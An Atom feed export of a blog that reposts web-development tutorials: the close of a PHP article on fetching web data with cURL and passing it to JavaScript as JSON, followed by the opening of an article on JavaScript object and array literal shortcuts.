&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;27&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;foreach&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;query-&gt;results-&gt;result &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;as&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$r&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;28&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;&lt;h3&gt;



&lt;a href=&quot;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$r&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;clickurl.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$r&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;title.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/a&gt;&lt;/h3&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;29&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;p&gt;

&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$r&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;abstract&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39; &lt;span&gt;(&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$r&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;dispurl.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;)&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;30&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;31&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;32&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;33&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;p&gt;

&lt;a href=&quot;index.php?search=&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$search_url&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&amp;amp;demo=17&quot;&gt;Search again.&lt;/a&gt;&lt;/p&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;34&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;35&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;



Interaction With JavaScript&lt;/h3&gt;&lt;p&gt;

One thing people keep asking about is how to send information from PHP to JavaScript and back. This can be done in a few ways.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;To send information from JavaScript to PHP, you need to either alter the &lt;code&gt;href&lt;/code&gt; of a link or populate a hidden form field. The other solution of course is to use AJAX.&lt;/li&gt;
&lt;li&gt;To send information from PHP to JavaScript, simply render a script element and write out the PHP information with an &lt;code&gt;echo&lt;/code&gt; statement.&lt;/li&gt;
&lt;li&gt;Using PHP&#39;s &lt;code&gt;header()&lt;/code&gt; function and &lt;code&gt;json_encode()&lt;/code&gt;, you can send data back to the browser as JavaScript, which allows us to use it as a &lt;code&gt;src&lt;/code&gt; attribute of a &lt;code&gt;script&lt;/code&gt; node.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;

For example, to get Smashing Magazine&#39;s RSS feed as a JavaScript object, &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=18&quot;&gt;you could do the following&lt;/a&gt;:&lt;/p&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_288642&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;?php&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;header(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Content-type: text/javascript&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;a href=&quot;http://rss1.smashingmagazine.com/feed/&quot;&gt;http://rss1.smashingmagazine.com/feed/&lt;/a&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_init();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_URL, &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_RETURNTRANSFER, 1);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_exec(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_close(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= simplexml_load_string(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= json_encode(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;var smashingrss=&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;

You could then use this in a JavaScript block:&lt;/p&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_492995&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;script src=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;&lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=18&quot;&gt;http://icant.co.uk/articles/phpforhacks/index.php?demo=18&lt;/a&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&gt;
&lt;/script&gt;&lt;/code&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;script&gt;
alert(smashingrss.title);
&lt;/script&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;code&gt; Using &lt;code&gt;header()&lt;/code&gt; and &lt;code&gt;json_encode()&lt;/code&gt;, you could do any complex conversion and filtering in PHP and re-use it in JavaScript.&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;h3&gt;&lt;code&gt;Summary&lt;/code&gt;&lt;/h3&gt;&lt;code&gt;I hope this gives you an idea of what PHP is and how you can use it  to access Web services and to build your own APIs to re-use in  JavaScript. Using PHP for the Web boils down to a few tricks:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Use cURL to load data from Web resources;&lt;/li&gt;
&lt;li&gt;Convert information with &lt;code&gt;simplexml_load_string()&lt;/code&gt; and &lt;code&gt;json_decode()&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Check the structure of returned information with &lt;code&gt;print_r()&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Loop over information with &lt;code&gt;foreach()&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Use the &lt;code&gt;$_GET[]&lt;/code&gt; and &lt;code&gt;$_POST[]&lt;/code&gt; arrays to re-use form data and URL parameters;&lt;/li&gt;
&lt;li&gt;Filter information from the user and from URLs using the built-in PHP filtering methods.&lt;/li&gt;
&lt;/ul&gt;A lot of documentation is out there, and your best bet is to go directly to the &lt;a href=&quot;http://php.net/&quot;&gt;PHP home page&lt;/a&gt;  to read or download the documentation. Check out the user comments in  particular, because that is where the real gems and examples of  implementation appear.&lt;/code&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/4820362985609757685/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/php-what-you-need-to-know-to-play-with.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/4820362985609757685'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/4820362985609757685'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/php-what-you-need-to-know-to-play-with.html' title='PHP: What You Need To Know To Play With The Web'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-2119369262832611647</id><published>2012-01-01T01:00:00.001-08:00</published><updated>2012-01-01T01:00:49.091-08:00</updated><title type='text'>Seven JavaScript Things I Wish I Knew Much Earlier In My Career</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;I’ve been writing JavaScript code for much longer than I care to  remember. I am very excited about the language’s recent success; it’s  good to be a part of that success story. I’ve written dozens of  articles, book chapters and one full book on the matter, and yet I keep  finding new things. Here are some of the “aha!” moments I’ve had in the  past, which you can try out rather than waiting for them to come to you  by chance.&lt;br /&gt;
&lt;div id=&quot;textadtarget&quot;&gt;&lt;div id=&quot;textad&quot;&gt;[&lt;b&gt;Editor&#39;s note&lt;/b&gt;: A must-have for professional Web designers and developers: &lt;i&gt;The Printed Smashing Books Bundle&lt;/i&gt; is full of practical insight for your daily work.  &lt;a href=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?oaparams=2__bannerid=2863__zoneid=68__OXLCA=1__cb=d6fbc3f70f__oadest=https%3A%2F%2Fshop.smashingmagazine.com%2Fsmashing-book-print-bundle1.html%3Fpk_campaign%3Dsmashing_books-bundle%26pk_kwd%3Dsm-ta-02&quot; target=&quot;_self&quot;&gt;Get the bundle right away&lt;/a&gt;!]&lt;br /&gt;
&lt;div id=&quot;beacon_d6fbc3f70f&quot; style=&quot;left: 0px; position: absolute; top: 0px; visibility: hidden;&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;0&quot; src=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/lg.php?bannerid=2863&amp;amp;campaignid=1018&amp;amp;zoneid=68&amp;amp;loc=1&amp;amp;referer=http%3A%2F%2Fcoding.smashingmagazine.com%2F2010%2F04%2F20%2Fseven-javascript-things-i-wish-i-knew-much-earlier-in-my-career%2F&amp;amp;cb=d6fbc3f70f&quot; style=&quot;height: 0px; width: 0px;&quot; width=&quot;0&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;Shortcut Notations&lt;/h3&gt;One of the things I love most about JavaScript now is shortcut  notations to generate objects and arrays. So, in the past when we wanted  to create an object, we wrote:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_99441&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;car = &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;new&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;Object();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;car.colour = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;red&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;car.wheels = 4;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;car.hubcaps = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;spinning&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;car.age = 4;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The same can be achieved with:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_208457&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;car = {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;colour:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;red&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;wheels:4,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;hubcaps:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;spinning&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;age:4&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Much shorter, and you don’t need to repeat the name of the object. Right now, &lt;code&gt;car&lt;/code&gt; is fine, but what happens when you use &lt;code&gt;invalidUserInSession&lt;/code&gt;?  The main gotcha in this notation is IE. Never ever leave a trailing  comma before the closing curly brace or you’ll be in trouble.&lt;br /&gt;
The other handy shortcut notation is for arrays. The old school way of defining arrays was this:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_997802&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
